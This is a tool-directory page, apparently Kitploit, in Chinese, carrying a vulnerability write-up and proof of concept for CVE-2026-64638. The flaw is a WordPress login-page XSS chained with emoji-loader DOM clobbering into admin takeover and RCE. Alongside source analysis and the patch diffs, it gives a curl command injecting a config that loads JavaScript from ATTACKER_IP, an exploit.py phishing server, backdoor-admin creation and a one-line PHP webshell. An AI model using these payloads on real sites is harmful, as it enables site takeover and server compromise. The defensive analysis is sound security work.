Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-64638 — CVE-2026-64638 的概念验证漏洞利用:WordPress 登录中的反射型 XSS 与 DOM clobbering 链式利用,可实现管理员账户接管和远程代码执行。 | Kitploit
工具/GitHubGitHub/dungsocool/cve-2026-64638
钓鱼工具漏洞分析代码分析漏洞利用Web应用程序漏洞利用Web安全Payload 开发
GitHubdungsocool/cve-2026-64638

CVE-2026-64638

CVE-2026-64638 的概念验证漏洞利用:WordPress 登录中的反射型 XSS 与 DOM clobbering 链式利用,可实现管理员账户接管和远程代码执行。

查看仓库
13天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-64638

登录页面上的反射型 XSS 导致 PHP 代码执行——WordPress Core

软件: WordPress Core ≤ 7.0.2(7.0.3 之前的所有版本)

CVSS: 8.9(高危)

CWE: CWE-79——网页生成期间输入未正确中和

所需认证: 无(预认证)

用户交互: 主动(管理员需点击 1 个链接)

影响: XSS → 账户接管 → 远程代码执行


1. 这是什么漏洞?

WordPress 是全球最流行的内容管理系统,占互联网上所有网站的 40% 以上。每个 WordPress 站点都有一个位于 /wp-login.php 的登录页面——这是一个公共端点,任何人都可以在无需认证的情况下访问。

当用户输入错误的用户名时,WordPress 会显示一条包含用户刚输入的确切用户名的错误消息:“用户名 X 未在此站点注册。” 问题在于,用户名值被直接放入 HTML 响应中,未经过任何转义函数——攻击者只需输入 HTML/JavaScript 而不是真实用户名,代码就会在浏览器中执行。

这是一个反射型 XSS 漏洞——载荷包含在请求中,服务器将其原样反射回 HTML 中。其危险之处在于该漏洞位于登录页面——管理员经常访问的地方,管理员的会话 Cookie 可能在此被窃取。

研究团队进一步发现,此 XSS 可与 WordPress emoji-loader 中的 DOM clobbering(DOM 覆写)漏洞链式利用,从而允许从外部服务器加载 JavaScript。以此为基础,攻击者可以创建新的管理员账户 → 安装包含 WebShell 的插件 → 在服务器上执行 PHP 代码。此利用链被称为 XSS2Shell。

属性值
CVE 编号CVE-2026-64638
CVSS 评分8.9(高危)
软件WordPress Core ≤ 7.0.2
认证无需认证(预认证)
用户交互需要 1 次点击(管理员点击链接)
攻击复杂度高
已修复版本WordPress 7.0.3(08/06/2026)
报告者pwn.ai 团队,通过 HackerOne
HackerOne 报告#3877102

2. 术语解释

DOM Clobbering 与 emoji-loader

WordPress 通过文件 emoji-loader.js 在每个页面(包括登录页面)加载 emoji 支持。此脚本从具有 id="wp-emoji-settings" 的元素中读取配置:

root@kitploit:~
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

document.getElementById() 返回 DOM 中具有匹配 id 的第一个元素。如果攻击者在原始 script 标签之前注入一个 <div id="wp-emoji-settings">,getElementById 将读取攻击者的内容而不是真实配置。这种技术称为 DOM clobbering——通过注入 HTML 元素来覆盖 JavaScript 行为。

emoji 配置包含一个用于加载 JavaScript 文件的 URL(concatemoji)。攻击者控制此 URL → 从外部服务器加载 JS 文件 → 在浏览器上下文中执行任意代码。

从 XSS 到 WordPress RCE

一旦在管理员上下文中实现 JavaScript 执行,攻击者就拥有完整的 WordPress 管理员权限:

  1. 创建新的管理员账户——使用管理员会话调用 /wp-admin/user-new.php
  2. 安装包含 PHP 代码的插件——通过 /wp-admin/plugin-install.php 上传插件
  3. 修改主题文件——通过主题编辑器插入 PHP 后门

以上 3 种方法中的任何一种都允许在服务器上执行 PHP 代码——即 RCE。

3. 源码分析——根本原因

第 1 步:定位 Sink——用户名被放入 HTML 的位置

从 wordpress-develop 上的修复提交 0d6d42e 中,我确定了 wp-includes/user.php 文件中 3 个将用户名/邮箱直接放入错误消息的位置:

root@kitploit:~
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php

位置 1——第 189 行(用户名不存在):

修复前:

root@kitploit:~
// BEFORE (vulnerable):
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    $username      // ← no escaping
)

image.png

修复后:

root@kitploit:~
// fixed:
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    esc_html( $username )    // ← escaped
)

位置 2——第 216 行(密码错误):

修复前:

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $username . '</strong>'    // ← no escaping

修复后:

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'

位置 3——第 299 行(邮箱密码错误):

修复前:

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $email . '</strong>'    // ← no escaping

修复后:

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'

第 2 步:追踪 Source——数据来自何处?

从 POST 请求到错误消息的数据流:

root@kitploit:~
$_POST['log']                           ← user input from login form
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← only removes backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← strips HTML tags, but has a bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← user not found
    ↓
    sprintf('The username <strong>%s</strong>...', $username)   ← XSS!
    ↓
WP_Error → login_header() → wp_admin_notice()
    wp_kses_post(...)     ← filters HTML but allows <div>, <a>,  through
    ↓
HTML response → browser render → JavaScript execute

第 3 步:两层防御、薄弱点与调试验证

在用户名到达 HTML 之前,WordPress 有 2 层过滤:

第 1 层:sanitize_user()——调用 strip_tags() 移除 HTML 标签。然而,PHP 的 strip_tags() 存在已知限制:非标准标签格式可以绕过过滤器。

第 2 层:wp_kses_post()——允许安全 HTML 子集通过,包括带有某些属性的 <div>、<a>、``(但会剥离 onerror、onload 等事件处理属性)。关键点:wp_kses_post 允许 <div id="wp-emoji-settings">——这正是 DOM clobbering 所需的元素。

pwn.ai 团队找到了一种绕过这两层过滤以注入有效载荷的方法。具体技术细节尚未公开披露。

使用 Xdebug 调试——数据流确认

为了直观确认用户名未经转义就直接进入 HTML,我使用 Xdebug + VS Code 在执行链的关键位置设置断点。

第 1 步——在登录表单中输入 XSS 载荷:

访问 http://localhost:8282/wp-login.php,输入用户名 ``,然后点击“登录”。出现弹窗——XSS 生效。

image.png

image.png

第 2 步——在 user.php:184 设置断点——XSS 发生的位置:

在函数 wp_authenticate_username_password() 内的 return new WP_Error(...) 处设置断点。当调试器暂停时,观察:

  • 面板 Variables → Locals:$username = ""——完整的 HTML 载荷,未转义
  • 面板 Superglobals → $_POST:log = ""——确认载荷源自表单输入
  • 面板 Call Stack:wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php

image.png

$username 的值从 $_POST['log'] → wp_unslash() →(绕过 sanitize_user)→ 通过 sprintf() 进入第 186-189 行的错误消息——中间没有任何 esc_html()。在实验室中,sanitize_user() 被注释掉,以模拟 pwn.ai 发现的绕过方式。

第 3 步——在 functions.php:9200 设置断点——最终输出:

在 echo wp_get_admin_notice( $message, $args ) 处设置断点——这是 HTML 输出到浏览器之前的最后一行:

  • 面板 Variables → Locals:$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>"——载荷完整地存在于 HTML 错误消息中
  • 实验室中的第 9200 行没有 wp_kses_post() 包裹(已注释以模拟绕过),因此载荷直接进入浏览器

image.png

在原始 WordPress 中,这一行是 echo wp_kses_post( wp_get_admin_notice(...) )——wp_kses_post() 会剥离 onerror 属性,但会允许 <div id="wp-emoji-settings"> 通过,因为 <div> 在白名单中。这正是 DOM clobbering 攻击的精准向量。

第 4 步:第二个修复提交——加固 emoji-loader

提交 a12c8f5 修改了 emoji-loader.js 以阻止 DOM clobbering:

root@kitploit:~
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);

此修复更改了 3 处:

  1. 使用 querySelector('script#...') 代替 getElementById——只匹配 <script> 标签
  2. 检查 instanceof HTMLScriptElement——防止通过 <div> 或 `` 进行 DOM clobbering
  3. 使用 .text 代替 .textContent——.text 是 HTMLScriptElement 的特定属性

修复后,即使攻击者设法注入 <div id="wp-emoji-settings">,emoji-loader 也会忽略它,因为它不是 <script> 元素。

4. 攻击链——XSS2Shell

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  ATTACKER                                                       │
│  Creates phishing link containing XSS payload                   │
│  POST /wp-login.php with log=<div id="wp-emoji-settings">       │
│  {"source":{"concatemoji":"https://evil.com/rce.js"}}           │
└────────────────────────┬────────────────────────────────────────┘
                         │ Sends link to admin (email, chat, etc.)
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ADMIN CLICKS LINK                                              │
│  Browser POSTs to /wp-login.php → server reflects payload       │
│  → <div id="wp-emoji-settings"> appears in HTML                 │
└────────────────────────┬────────────────────────────────────────┘
                         │ emoji-loader.js executes
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  DOM CLOBBERING                                                 │
│  getElementById('wp-emoji-settings') → returns attacker div     │
│  JSON.parse(div.textContent) → reads fake configuration         │
│  Loads script from https://evil.com/rce.js                      │
└────────────────────────┬────────────────────────────────────────┘
                         │ JS executes in admin context
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ACCOUNT TAKEOVER + RCE                                         │
│  1. Fetch /wp-admin/user-new.php → get nonce                    │
│  2. POST create new admin account (backdoor)                    │
│  3. Login using backdoor account                                │
│  4. Install plugin containing PHP webshell                      │
│  5. Call webshell → RCE on server                               │
└─────────────────────────────────────────────────────────────────┘

5. POC——实验室复现

5.1 检查端点——基础 XSS

访问 http://localhost:8282/wp-login.php,输入:

  • 用户名: ``
  • 密码: 任意

点击“登录”。如果出现显示 “localhost” 的弹窗 → XSS 生效。

结果——载荷原样反射在 HTML 中:

image.png

5.2 DOM Clobbering——注入伪造的 emoji 配置

更复杂的载荷——注入带有 id="wp-emoji-settings" 的 <div>,其中包含指向攻击者 JS 文件的 JSON:

image.png

root@kitploit:~
# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"

如果 HTML 输出包含带有攻击者 JSON 的 <div id="wp-emoji-settings"> → emoji-loader 将从攻击者服务器加载 JS。

5.3 完整攻击链——使用 exploit.py 实现 XSS2Shell

第 1 步:运行 exploit 服务器

root@kitploit:~
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999

脚本 exploit.py 提供两项内容:

  • http://127.0.0.1:9999/phish.html——冒充 WordPress 安全更新的钓鱼页面
  • http://127.0.0.1:9999/evil.js——创建后门管理员账户的 JS 载荷

第 2 步:管理员点击钓鱼链接

攻击者通过电子邮件/聊天将链接 http://127.0.0.1:9999/phish.html 发送给管理员。当管理员点击时:

  1. 钓鱼页面自动向 /wp-login.php POST 包含 XSS 载荷的用户名
  2. 登录页面渲染 → <div id="wp-emoji-settings"> 出现在 HTML 中
  3. emoji-loader.js 读取伪造的 div → 从攻击者服务器加载 evil.js
  4. evil.js 在管理员浏览器中运行 → 获取 /wp-admin/user-new.php 以取得 nonce → 创建账户 backdoor_xss2shell / Pwn3d!XSS2Shell

image.png

整个过程自动发生;管理员只会看到带有“用户名未找到”错误的正常登录页面。

第 3 步:攻击者登录并上传 WebShell

在实验室中,管理员已使用 admin / admin123 登录,因此 evil.js 立即运行。获得账户访问权限后,我立即通过插件上传了 WebShell:

image.png

root@kitploit:~
<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

第 4 步:RCE——在服务器上执行命令

image.png

image.png

输出返回 www-data——攻击者现在拥有服务器上的命令执行权限。

6. 严重性与影响

现实世界影响

  • 影响 7.0.3 之前的所有 WordPress 版本
  • /wp-login.php 端点始终公开且无法隐藏(除非使用插件更改登录 URL)
  • 登录页面是天然的钓鱼目标——管理员习惯于点击登录页面的链接
  • 利用链 XSS → DOM Clobbering → 管理员接管 → RCE 除了管理员点击 1 次外不需要任何特殊条件
  • 即使不链接到 RCE,登录页面上的 XSS 也允许窃取会话 Cookie(如果未正确设置 HttpOnly)或进行凭据钓鱼

7. 修复方案

已在 WordPress 7.0.3 中修复

修复 1——转义输出(user.php):

root@kitploit:~
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )

修复 2——加固 emoji-loader(emoji-loader.js):

root@kitploit:~
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}

修复 3——转义 URL(wp-login.php):

root@kitploit:~
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )

WordPress 管理员应采取的举措

  1. 立即更新到 WordPress 7.0.3——补丁于 08/06/2026 发布
  2. 如果使用较旧版本(6.x、5.x、4.7+),WordPress 已向后移植此修复
  3. 检查访问日志:查找 log 参数中带有 HTML 载荷的 /wp-login.php POST 请求
  4. 考虑使用 WAF 规则阻止登录表单字段中的 HTML 标签
  5. 审查管理员用户列表——如果发现未知账户,站点可能已被入侵

开发者的经验教训

  1. 始终转义输出,不要仅依赖净化输入。 sanitize_user() 旨在规范化用户名,而非阻止 XSS。纵深防御:在输出点转义(esc_html、esc_attr、esc_url)是最后也是最关键的一道防线。
  2. 不要将 getElementById 用于安全敏感数据。 DOM clobbering 可以注入具有相同 id 的伪造元素。请使用带特定标签名的 querySelector + instanceof 检查。
  3. wp_kses_post 不是 XSS 过滤器。 它旨在允许文章内容中的安全 HTML——而不是阻止其他上下文中的 XSS。每个上下文都需要其专用的转义函数。
下载工具
CVSS 指标值原因
攻击向量网络通过 HTTP,向受害者发送链接
攻击复杂度高需要绕过 sanitize_user() + wp_kses_post(),需要受害者点击
所需权限无登录端点无需认证
用户交互主动管理员必须点击钓鱼链接
机密性高可读取 Cookie、会话、管理面板内容
完整性高可创建管理员账户、安装插件、修改文件
可用性高RCE → 完全控制服务器